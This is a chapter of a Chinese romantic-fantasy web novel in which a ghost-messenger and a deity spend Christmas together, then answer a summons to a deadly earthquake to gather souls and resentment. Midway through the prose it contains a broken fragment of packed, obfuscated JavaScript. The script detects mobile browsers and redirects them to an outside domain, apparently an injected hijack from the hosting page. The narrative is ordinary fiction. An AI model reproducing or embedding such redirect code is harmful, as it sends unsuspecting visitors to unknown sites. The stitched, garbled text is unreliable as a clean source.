他们沉默的牵着手,走过小路口,来到主街道上。即便天色已晚,这座城市依然车水马龙、生机勃勃。 两旁的店铺布满了红绿色的圣诞装饰,再辅以星星一般的灯光,显得格外梦幻。还有卖苹果花束的人,拎着提篮满处转。 忽然刮起一阵寒风,清一停住了脚步,将围巾摘下来套在了苏月现的脖子上。 “姐姐,冷。” “没关系,我感受不到温度。”苏月现这样说着,却往上拢了拢盖住了口鼻。 霎那间,清一的味道进入鼻腔,像被阳光尽情曝晒后的棉被,是一种毛茸茸的温暖的气息。赶走了深冬的寒冷,带来一丝热意。 她这样想着,又暗自深深吸了一口气。 清一继续牵上苏月现的手往前走着,不远处的广场中央矗立了一棵巨大的圣诞树,许多人已经聚集在那合影留念。 他们作为鬼差和神官,虽然无法留下影像,但用眼睛记住这样的盛景,也是好的。 “如果你没有做神官,你现在会在哪?” “可能我已经死了。”清一顿了顿,“死在寻找你的路上。” “你究竟……寻了我多久?” “不记得了。姐姐,过去不重要,重要的是我现在是你的爱人,并且正在牵着你的手。”清一弯腰,扬起他们相叠的手,轻轻吻了一下。 苏月现笑笑:“你说的对。如果我不是鬼差,我早就死了……可是没有如果,我注定要去下界赎罪。不过也好啊,又见证了这么多人的人生。成为他们这一生最后一个见到的人,我觉得很幸运。” 上天赐予你一些力量,就要收回一些美好。从来都是等价交换,没有一个人能从中获得出格的幸运。 每个人的命数,在诞生的那一刻起就被定好。尽管有翻天的能耐,也无法违背既定的程序。其实大多数人,都是这世界的NPC,对于运行过程来说不重要,但对于自己的来说,是主角。 “姐姐,你真的变了很多。你以前……应该是不会考虑这些的。” “我以前只有一个目标,就是向前。早日完成任务,早日恢复记忆,早日去投胎。” “现在呢?” 苏月现侧头,深深看了清一一眼,道:“现在要跟你一起向前。” 清一挑眉没说什么,心里却乐开了花,好像有一束烟花在他的脑中炸开了,噼里啪啦。他的世界对其他人都按下了屏蔽键,此刻只看得见苏月现。 “清一,你也变了很多。刚认识你的时候,成天把打打杀杀挂在嘴边。现在嘛——”苏月现故作深沉的上下打量了两下,缓缓道,“嗯,温柔了许多。” 清一轻笑一声,心道:那是因为你。 在他心中,他的苏姐姐,人如其名,是那天边的一弯明月。清冷孤傲,令人心生向往。 他爱她、敬她、甚至愿为她放弃一切。 苏月现眼中关于他的所有改变,都是因为她的一些话。 她说,他便去做。 两人说笑着走到了目的地,广场上人很多,尤其是情侣和大学生们。众人围在挂满小灯的圣诞树前,眼睛盯着一旁巨大的钟表,开始倒数时间。 秒针迅速转动,带动着分针向前挪动一格又一格。 这时,夜空中飘起零星雪花,大家兴奋的用手去接。这是北州今年冬天的第一场雪,据说,一起看初雪的人一定会走到最后。 几对情侣双手合十,对着这些纷纷扬扬的白许起愿来。时针还在缓缓向前走动,马上就要到十二点了。 苏月现学着他们的样子,也扬起手,去触碰飞舞的雪花。正当她开心的拢住一片想要拿给清一看时,下一秒,钟表上的时针像是与电源接触不好,忽然顿了一下。 世界被按下了半秒暂停键,所有欢声笑语顷刻间调成了静音模式。 殊不知,在满天飞雪中,夹杂着一片纸人,它顺着风飘飘悠悠,准确无误的落在了苏月现手中。 与此同时,天边划过一道金光,清一摊开手掌,闪着光的符箓瞬间朝他飞了过来。 两道声音一同响起,交代了同一件事。 “青城出事了!速去支援!” 接受完这道指令,时针继续转动,这座城又恢复到了刚才的热闹模样,仿佛什么都没有发生。只是旁边商场的LED屏上多出了一则紧急新闻—— “就在刚刚!青城发生7级地震……” 看来,这场雪,就是为此而下。 他们领了任务,不敢多耽搁,迅速往西奔去。 说起来,上下界虽为姊妹关系,但已经有几百年没有合作过了。 能同时惊动天帝和阎王的大事件,少之又少。他们不敢想,这场灾难的背后,究竟死了多少人。 下界这边,死神的先遣队已经抵达,实时播报着前线的情况。据说阎王也在赶来的路上。 而上界,天帝已经将全部公务暂缓,带着他的小团队亲自下凡了。清一的哥哥凌霄就位列其中,刚才那道符,也是他给他传过来的。 也就是说,上下两界如今所有掌权之人,都将齐聚青城。 而天帝与阎王兄弟二人,自那日生死一别后,便再没见过了。这一次,将是他们相隔千百年的见面。 尽管苏月现已经见惯了死亡,但看到这座城市的惨烈模样,还是被震惊到了。 青城仿佛被一只无形的巨手肆意揉捏,变得面目全非。高楼大厦如同脆弱的积木般纷纷倒塌,钢筋水泥交织成一片废墟,散发着令人心悸的寒光。曾经繁华的街道如今被瓦砾和碎石覆盖,满目疮痍。烟尘弥漫在空中,遮天蔽日,让整个城市笼罩在一片灰暗之中。哭声、呼救声此起彼伏,与断裂的水管喷涌而出的水流声交织在一起,构成了一幅凄厉而惨烈的画面。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092874|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如今的青城,是比地狱还要地狱的存在。 身着黑袍的死神行走在断路碎石间,寻找着那些被挤压的灵魂。城市上空笼罩着浓厚的怨气,它们聚集一起,如同一片巨大的乌云,盖住了所有生的希望。 “姐姐,你是不是该去吸怨气了。”清一出声,拉回了苏月现出窍的灵魂。 “我……” “去吧,这本就是你该做的。我先不能陪你了,我也有我该做的事情。” “你要做的事情?” “嗯,送他们回家。” 苏月现身边尽是穷凶极恶之人化成的鬼魂,要么就是生前有业障,满身怨气,自然无法去天堂,也就不需要上界的神仙出手。 但像这样的天灾,就有他们忙的了。 神仙需要与死神一起寻找亡魂,分辨生前善恶后,再带走他们。 善者,自然可以上天堂。恶者,便下地狱。 苏月现找到一块还算平整的落石,对着怨气盘腿坐下。她合上眼睛,深吸一口气,开始运功。 那团浓重的怨气,似是闻到了她的气息,竟自发地流动起来,争先恐后的欲钻进她的身体。 这与平时不一样! 苏月现想停止怨气入体,可她竟控制不了这股新力量,任凭那些已经被她转化为自身能量的气体在她体内横冲直撞。 苏月现的掌心控制不住的燃起蓝色火焰,她感到全身的经脉都在燃烧,血管越发膨胀起来,甚至有爆体的趋势。 她堂堂阎罗殿女官,操劳一生,难道就要死在这了? 电光火石间,苏月现的耳边拂过一阵风,随后一只手掌抚在了她的背上。她感到了一种新的力量注进了自己体内,正与那邪门的怨气抗衡着。 “你……” “别说话,专心运功。”言铭说完,比方才又使了一分力,“我来配合你,把他转化掉。” 苏月现点点头,循着体内力量的流转,专心运功。 他们一冷一热两股力量,交织在一起,缠绕上那股怨气,使其慢慢平静、平息。 倏地,苏月现猛的睁开眼,眸中蓝光尽褪,呕出一口淤积的鲜血,喷洒在灰黑色的石板上,慢慢与其融为一体。 她抬手擦了擦嘴角,起身与言铭道谢:“谢谢你。” “哼,一口吃不成胖子,这就是吃独食的下场。”男人翻了个白眼,依然没什么好话,“不用谢,我可不想你死在这没有意义的地方。” 苏月现蹙紧眉,这么多年了,她还是没习惯言铭的态度:“不管怎样,还是谢谢你。” “哼,这怨气没那么简单,你吸不了,我也吸不了,换任何人来都会被它伤到。” “那也不能扔这不管吧!” “走吧,去找阎王,看看他有什么办法。” “鸦影已经来了?” 言铭勾勾嘴角,眸光暗了一分:“来了,正跟天帝在一块呢。这兄弟二人蛮有意思的。” “怎么说?” “该恶的不恶,该善的不善。”